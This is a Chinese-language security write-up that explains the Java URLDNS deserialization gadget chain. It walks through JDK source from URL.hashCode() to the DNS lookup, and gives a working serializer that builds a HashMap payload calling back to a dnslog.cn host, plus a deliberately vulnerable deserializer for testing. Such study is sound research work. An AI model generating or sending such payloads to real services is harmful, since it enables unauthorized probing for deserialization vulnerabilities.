URLDNS链原理
最简单清晰的Payload,调用hashcode()
方法中的getHostAddress()
方法来完成一次DNS查询.
1 2 3 4 5 6 7 8 9 10 11
| import java.net.MalformedURLException; import java.net.URL;
public class urldns { public static void main(String[] args) throws MalformedURLException { URL url = new URL("http://urldns.yaocku.dnslog.cn"); url.hashCode(); } }
|
调试过程
1 2 3 4 5 6 7
| public synchronized int hashCode() { if (hashCode != -1) return hashCode;
hashCode = handler.hashCode(this); return hashCode; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| protected int hashCode(URL u) { int h = 0;
String protocol = u.getProtocol(); if (protocol != null) h += protocol.hashCode();
InetAddress addr = getHostAddress(u); if (addr != null) { h += addr.hashCode(); } else { String host = u.getHost(); if (host != null) h += host.toLowerCase(Locale.ROOT).hashCode(); }
String file = u.getFile(); if (file != null) h += file.hashCode();
if (u.getPort() == -1) h += getDefaultPort(); else h += u.getPort();
String ref = u.getRef(); if (ref != null) h += ref.hashCode();
return h; }
|
1 2 3
| protected InetAddress getHostAddress(URL u) { return u.getHostAddress(); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| synchronized InetAddress getHostAddress() { if (hostAddress != null) { return hostAddress; }
if (host == null || host.isEmpty()) { return null; } try { hostAddress = InetAddress.getByName(host); } catch (UnknownHostException | SecurityException ex) { return null; } return hostAddress; }
|
1 2 3 4
| public static InetAddress getByName(String host) throws UnknownHostException { return InetAddress.getAllByName(host)[0]; }
|
getHostAddress()
调用内部的getByName()
方法再调用getAllByName()
,然后返回地址列表的第一个地址,从而完成了一次DNS查询.
反序列化利用
编写一个接受序列化的数据的反序列化接口类来进行测试:
1 2 3 4 5 6 7 8 9 10
| import java.io.FileInputStream; import java.io.ObjectInputStream;
public class deserialize { public static void main(String[] args) throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("./out.bin")); ois.readObject(); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap;
public class serialize { public static void main(String[] args) throws Exception {
HashMap<URL, String> hashMap = new HashMap<URL, String>();
URL url = new URL("http://serial.084uxt.dnslog.cn");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, 0xdeadbeef); hashMap.put(url, "zeo");
f.set(url, -1);
ObjectOutputStream objos = new ObjectOutputStream(new FileOutputStream("./out.bin")); objos.writeObject(hashMap); } }
|
反序列化成功,触发了一次DNS查询,利用链为
1
| HashMap->readObject() 反序列化点触发 HashMap->hash() URL->hashCode() URLStreamHandler->hashCode() URLStreamHandler->getHostAddress() 发出解析请求
|
参考链接
https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/